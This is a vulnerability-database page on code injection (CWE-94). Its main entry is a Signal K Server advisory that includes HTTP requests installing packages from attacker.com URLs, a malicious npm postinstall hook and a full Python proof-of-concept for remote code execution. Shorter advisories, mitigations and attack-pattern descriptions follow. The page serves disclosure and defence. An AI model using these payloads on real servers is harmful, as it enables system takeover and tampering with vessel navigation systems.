  "details": "The SignalK appstore interface allows administrators to install npm packages through a REST API endpoint. While the endpoint validates that the package name exists in the npm registry as a known plugin or webapp, the version parameter accepts arbitrary npm version specifiers including URLs. npm supports installing packages from git repositories, GitHub shorthand syntax, and HTTP/HTTPS URLs pointing to tarballs. When npm installs a package, it can automatically execute any `postinstall` script defined in `package.json`, enabling arbitrary code execution.\n\nThe vulnerability exists because npm\u0027s version specifier syntax is extremely flexible, and the SignalK code passes the version parameter directly to npm without sanitization. An attacker with admin access can install a package from an attacker-controlled source containing a malicious `postinstall` script.\n\n### Affected Code\n\n**File**: `src/interfaces/appstore.js` (lines 46-76)\n\n```javascript\napp.post(\n  [\n    `${SERVERROUTESPREFIX}/appstore/install/:name/:version`,\n    `${SERVERROUTESPREFIX}/appstore/install/:org/:name/:version`\n  ],\n  (req, res) =\u003e {\n    let name = req.params.name\n    const version = req.params.version  // No validation on version format\n    \n    // ... validation only checks if package name exists ...\n    \n    installSKModule(name, version)  // Passes unsanitized version to npm\n  }\n)\n```\n\n**File**: `src/modules.ts` (lines 180-205)\n\n```typescript\nif (name) {\n  packageString = version ? `${name}@${version}` : name  // Direct concatenation\n}\n\nif (process.platform === \u0027win32\u0027) {\n  npm = spawn(\u0027cmd\u0027, [\u0027/c\u0027, `npm --save ${command} ${packageString}`], opts)\n} else {\n  npm = spawn(\u0027npm\u0027, [\u0027--save\u0027, command, packageString], opts)\n}\n```\n\n### Impact\n\nAn attacker with admin credentials (obtained via the authentication bypass chain) can execute arbitrary commands on the server with the privileges of the SignalK process. This enables complete system compromise including data theft, backdoor installation, lateral movement, and denial of service.\n\nA compromised server can inject malicious PGN messages onto the NMEA 2000 bus or forge NMEA 0183 sentences, affecting all connected devices. Attack scenarios include manipulating autopilot systems (Pypilot, Raymarine, Garmin) via the Autopilot API to alter vessel course, spoofing AIS messages to create phantom vessels on radar, altering GPS position data sent to chart plotters and autopilots, injecting false depth sounder readings, manipulating wind instrument data, or sending shutdown commands to electronically controlled engines via NMEA 2000. Many vessels expose SignalK to the internet for remote monitoring, making them globally accessible to attackers.\n\nThe vulnerability can be exploited using any of npm\u0027s flexible version specifier formats:\n\n**1. Real npm Package with Required Keyword**\n\n```http\nPOST /skServer/appstore/install/malicious-signalk-plugin/1.0.0 HTTP/1.1\nHost: localhost:3000\nAuthorization: Bearer \u003cVALID_AUTH_TOKEN\u003e\nContent-Length: 0\n```\n\nPublishing a malicious package to the official npm registry with the `signalk-node-server-plugin` or `signalk-webapp` keyword allows us to install arbitrary npm packages using standard semantic versioning format (`1.0.0`). This is non-stealthy as the package is publicly visible, but can be leveraged to spread malware via npm\u0027s ecosystem, since such a package will show up on the webapp feed and other users might install it.\n\n**2. Real npm Package via npm Alias**\n\n```http\nPOST /skServer/appstore/install/signalk-pushover-plugin/npm:malicious-package@1.0.0 HTTP/1.1\nHost: localhost:3000\nAuthorization: Bearer \u003cVALID_AUTH_TOKEN\u003e\nContent-Length: 0\n```\n\nThe `npm:` prefix allows installing a package under a different name. For example, `npm:malicious-package@1.0.0` installs `malicious-package` but references it as if it were the legitimate `signalk-pushover-plugin`. This obscures the actual package being installed from casual inspection, making it stealthier while still requiring npm publishing.\n\n**3. Package Hosted on GitHub (GitHub Shorthand)**\n\n```http\nPOST /skServer/appstore/install/signalk-pushover-plugin/attacker%2Fmalicious-plugin HTTP/1.1\nHost: localhost:3000\nAuthorization: Bearer \u003cVALID_AUTH_TOKEN\u003e\nContent-Length: 0\n```\n\nThe format `username/repo` (URL-encoded as `attacker%2Fmalicious-plugin`) is shorthand for `github:username/repo`. npm automatically fetches the repository from GitHub, extracts it, and runs `npm install`. If the repo contains a `postinstall` script, it executes. The repository must contain a valid `package.json` with the malicious script.\n\n**4. Package Hosted on Attacker-Controlled Git Server (git+ Protocol)**\n\n```http\nPOST /skServer/appstore/install/signalk-pushover-plugin/git%2Bhttps:%2F%2Fattacker.com%2Fmalicious-plugin.git HTTP/1.1\nHost: localhost:3000\nAuthorization: Bearer \u003cVALID_AUTH_TOKEN\u003e\nContent-Length: 0\n```\n\nThe `git+https://` or `git+ssh://` prefix tells npm to clone a git repository. This works with any git server, not just GitHub. The attacker has full control over the repository contents and can update it at any time. This provides maximum control over the package source without relying on third-party services.\n\n**5. Package Hosted on Attacker Webserver as Tarball**\n\n```http\nPOST /skServer/appstore/install/signalk-pushover-plugin/http:%2F%2Fattacker.com%2Fpkg.tgz HTTP/1.1\nHost: localhost:3000\nAuthorization: Bearer \u003cVALID_AUTH_TOKEN\u003e\nContent-Length: 0\n```\n\nThe `http://` or `https://` URL pointing to a `.tgz` file tells npm to download and extract the tarball. This is the most flexible method as it requires no external service dependencies - the attacker controls both the package contents and the hosting infrastructure. No git repository or npm registry account needed.\n\nAll methods result in npm executing the `postinstall` script from the attacker-controlled package. A malicious npm package requires only two files to achieve RCE:\n\n**package.json** - Defines the package metadata and the malicious script:\n```json\n{\n  \"name\": \"signalk-evil-plugin\",\n  \"version\": \"1.0.0\",\n  \"keywords\": [\"signalk-node-server-plugin\"],\n  \"scripts\": {\n    \"postinstall\": \"node -e \\\"require(\u0027child_process\u0027).exec(\u0027calc.exe\u0027)\\\"\"\n  }\n}\n```\n\nThe `postinstall` script executes automatically after npm installs the package.\n\n**index.js** - Minimal plugin implementation to avoid errors:\n```javascript\nmodule.exports = function(app) {\n  return {\n    id: \u0027evil-plugin\u0027,\n    name: \u0027Evil Plugin\u0027,\n    start: function() {},\n    stop: function() {}\n  }\n}\n```\n\n### PoC using the tarball variant of the exploit\n\n```python\nimport requests\nimport tarfile\nimport json\nimport io\nimport threading\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nfrom urllib.parse import quote\n\nTARGET = \"http://localhost:3000\"\nATTACKER_IP = \"localhost\"\nATTACKER_PORT = 9999\nRCE_COMMAND = \"calc.exe\"  # Windows; use \"id \u003e /tmp/pwned\" for Linux\nTOKEN = \"\u003cVALID_AUTH_TOKEN\u003e\"\n\ndef create_malicious_tarball():\n    package_json = {\n        \"name\": \"signalk-evil-plugin\",\n        \"version\": \"1.0.0\",\n        \"keywords\": [\"signalk-node-server-plugin\"],\n        \"scripts\": {\n            \"postinstall\": f\"node -e \\\"require(\u0027child_process\u0027).exec(\u0027{RCE_COMMAND}\u0027)\\\"\"\n        }\n    }\n    \n    index_js = b\"module.exports = function(app) { return { id: \u0027evil\u0027, start: function(){}, stop: function(){} } }\"\n    \n    tar_buffer = io.BytesIO()\n    with tarfile.open(fileobj=tar_buffer, mode=\u0027w:gz\u0027) as tar:\n        # Add package.json\n        pkg_data = json.dumps(package_json, indent=2).encode()\n        pkg_info = tarfile.TarInfo(name=\"package/package.json\")\n        pkg_info.size = len(pkg_data)\n        tar.addfile(pkg_info, io.BytesIO(pkg_data))\n        \n        # Add index.js\n        idx_info = tarfile.TarInfo(name=\"package/index.js\")\n        idx_info.size = len(index_js)\n        tar.addfile(idx_info, io.BytesIO(index_js))\n    \n    return tar_buffer.getvalue()\n\ndef start_malicious_server(tarball_data):\n    class Handler(BaseHTTPRequestHandler):\n        def do_GET(self):\n            print(f\"[+] Victim fetched malicious package!\")\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"application/gzip\")\n            self.send_header(\"Content-Length\", len(tarball_data))\n            self.end_headers()\n            self.wfile.write(tarball_data)\n        \n        def log_message(self, *args):\n            pass\n    \n    server = HTTPServer((\"0.0.0.0\", ATTACKER_PORT), Handler)\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n    print(f\"[+] Malicious server running on port {ATTACKER_PORT}\")\n    return server\n\ndef trigger_rce(token):\n    tarball_url = f\"http://{ATTACKER_IP}:{ATTACKER_PORT}/package.tgz\"\n    encoded_url = quote(tarball_url, safe=\u0027\u0027)\n    \n    url = f\"{TARGET}/skServer/appstore/install/signalk-pushover-plugin/{encoded_url}\"\n    \n    headers = {\"Authorization\": f\"Bearer {token}\"}\n    \n    print(f\"[*] Triggering installation from {tarball_url}\")\n    r = requests.post(url, headers=headers)\n    print(f\"[+] Response: {r.status_code} - {r.text}\")\n\nif __name__ == \"__main__\":\n    tarball = create_malicious_tarball()\n    print(f\"[+] Created malicious tarball ({len(tarball)} bytes)\")\n    \n    start_malicious_server(tarball)\n    trigger_rce(TOKEN)\n```\n\n### Recommendation\n\n1. Restrict package installation to the official npm registry only by validating that version parameters match semver format\n2. Use npm\u0027s `--ignore-scripts` flag to prevent automatic script execution\n3. Implement an allowlist of approved packages\n4. Consider sandboxing the package installation process\n\nWhile we understand that allowing 3rd party plugin installation is an intended functionality we believe that more secure practices must be applied to the whole process given the operational importance a SignalK instance can have onboard a vessel and it\u0027s rise in polularity.",
  "id": "GHSA-93jc-vqqc-vvvh",
  "modified": "2026-01-06T18:41:41Z",
  "published": "2026-01-02T15:23:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-93jc-vqqc-vvvh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68619"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/commit/f06140bed702de93a5dbb6b33dc2486960764d1d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SignalK/signalk-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Signal K Server Vulnerable to Remote Code Execution via Malicious npm Package"
}

GHSA-93MH-W34W-H4W2

Vulnerability from github – Published: 2022-05-17 02:50 – Updated: 2022-05-17 02:50
VLAI
Details

PivotX 2.3.11 allows remote authenticated Advanced users to execute arbitrary PHP code by performing an upload with a safe file extension (such as .jpg) and then invoking the duplicate function to change to the .php extension.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-7570"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-04-07T04:59:00Z",
    "severity": "HIGH"
  },
  "details": "PivotX 2.3.11 allows remote authenticated Advanced users to execute arbitrary PHP code by performing an upload with a safe file extension (such as .jpg) and then invoking the duplicate function to change to the .php extension.",
  "id": "GHSA-93mh-w34w-h4w2",
  "modified": "2022-05-17T02:50:37Z",
  "published": "2022-05-17T02:50:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7570"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/X1nda/749b6aac6e080624d9f8ec81321335df"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-93P3-5HHH-4J3J

Vulnerability from github – Published: 2022-05-03 03:25 – Updated: 2022-05-03 03:25
VLAI
Details

Microsoft Internet Explorer 6, 7, and 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly initialized or (2) is deleted, leading to memory corruption, aka "Uninitialized Memory Corruption Vulnerability," a different vulnerability than CVE-2010-2556 and CVE-2011-0036.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2011-0035"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-02-10T16:00:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Internet Explorer 6, 7, and 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly initialized or (2) is deleted, leading to memory corruption, aka \"Uninitialized Memory Corruption Vulnerability,\" a different vulnerability than CVE-2010-2556 and CVE-2011-0036.",
  "id": "GHSA-93p3-5hhh-4j3j",
  "modified": "2022-05-03T03:25:28Z",
  "published": "2022-05-03T03:25:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-0035"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2011/ms11-003"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/64911"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A12371"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/70831"
    },
    {
      "type": "WEB",
      "url": "http://support.avaya.com/css/P8/documents/100127294"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/46157"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1025038"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2011/0318"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-93VR-64MM-3R9V

Vulnerability from github – Published: 2022-05-01 17:46 – Updated: 2022-05-01 17:46
VLAI
Details

PHP remote file inclusion vulnerability in includes/includes.php in Guernion Sylvain Portail Web Php (aka Gsylvain35 Portail Web, PwP) before 2.5.1.1 allows remote attackers to execute arbitrary PHP code via a URL in the site_path parameter.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2007-0699"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-02-04T00:28:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in includes/includes.php in Guernion Sylvain Portail Web Php (aka Gsylvain35 Portail Web, PwP) before 2.5.1.1 allows remote attackers to execute arbitrary PHP code via a URL in the site_path parameter.",
  "id": "GHSA-93vr-64mm-3r9v",
  "modified": "2022-05-01T17:46:19Z",
  "published": "2022-05-01T17:46:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-0699"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/32121"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/33633"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/2223"
    },
    {
      "type": "WEB",
      "url": "http://sourceforge.net/project/shownotes.php?release_id=480538\u0026group_id=178400"
    },
    {
      "type": "WEB",
      "url": "http://www.attrition.org/pipermail/vim/2007-February/001269.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/458805/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/22361"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2007/0457"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}
Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

← Back to the CWE list